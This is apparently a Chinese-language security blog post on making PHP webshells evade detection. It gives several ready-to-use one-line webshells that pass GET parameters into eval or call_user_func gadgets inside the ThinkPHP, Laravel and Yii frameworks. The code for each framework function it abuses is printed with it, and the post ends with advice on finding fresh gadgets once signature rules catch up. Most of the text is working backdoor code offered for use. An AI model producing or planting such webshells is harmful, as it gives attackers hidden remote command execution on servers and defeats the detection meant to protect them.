什么?你还不会webshell免杀?
VSole2022-07-28 17:09:46
基于框架免杀
thinkphp
array_map_recursive函数
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."ThinkPHP/Common/functions.php"); array_map_recursive(I('get.func','',''),I('get.cmd','',''));
array_map_recursive函数分析
这里存在一个call_user_func命令执行函数
function array_map_recursive($filter, $data) { $result = array(); foreach ($data as $key => $val) { $result[$key] = is_array($val) ? array_map_recursive($filter, $val) : call_user_func($filter, $val); } return $result; }
免杀效果
B函数
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."ThinkPHP/Common/functions.php"); include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php"); class demo{ function test($v){ I('get.func','','')($v); } } B("demo","test",I('get.cmd','',''));
免杀效果
B函数分析
function B($name, $tag='',&$params=NULL) { if(''==$tag){ $name .= 'Behavior'; } return \Think\Hook::exec($name,$tag,$params); }
exec函数分析
在exec函数用存在有个类调用,且所有的参数都可控
static public function exec($name, $tag,&$params=NULL) { if('Behavior' == substr($name,-8) ){ // 行为扩展必须用run入口方法 $tag = 'run'; } $addon = new $name(); return $addon->$tag($params); }
smarty_php_tag函数
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php"); smarty_php_tag("",I('get.cmd','',''),"");
免杀效果
smarty_php_tag函数分析
直接存在命令执行,且参数可控
function smarty_php_tag($params, $content, $template, &$repeat) { eval($content); return ''; }
I函数
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."ThinkPHP/Common/functions.php"); I('get.func','','')(I('get.cmd','',''));
免杀效果
Laravel
EvalLoader#load
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."/vendor/autoload.php"); $c = new Mockery\Generator\MockConfiguration(array(),array(),array(),'demo'); $b = new Mockery\Generator\MockDefinition($c,'<?='.$_GET['cmd']); $a = new Mockery\Loader\EvalLoader(); $a->load($b);
免杀效果
EvalLoader#load分析
eval命令执行函数,参数可控
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
MockTrait#generate
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."/vendor/autoload.php"); $a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo'); $a->generate();
免杀效果
MockTrait#generate函数分析
存在一个eval函数
public function generate(): string { if (!\class_exists($this->mockName, false)) { eval($this->classCode); } return $this->mockName; }
yii
MockTrait#generate
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."/vendor/autoload.php"); $a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo'); $a->generate();
免杀效果
view#evaluateDynamicContent
<?php define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); include(WWW_PATH."/vendor/autoload.php"); $a = new yii\base\View(); $a->evaluateDynamicContent($_GET['cmd']);
免杀效果
view#evaluateDynamicContent分析
public function evaluateDynamicContent($statements) { return eval($statements); }
总结
通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。

VSole
网络安全专家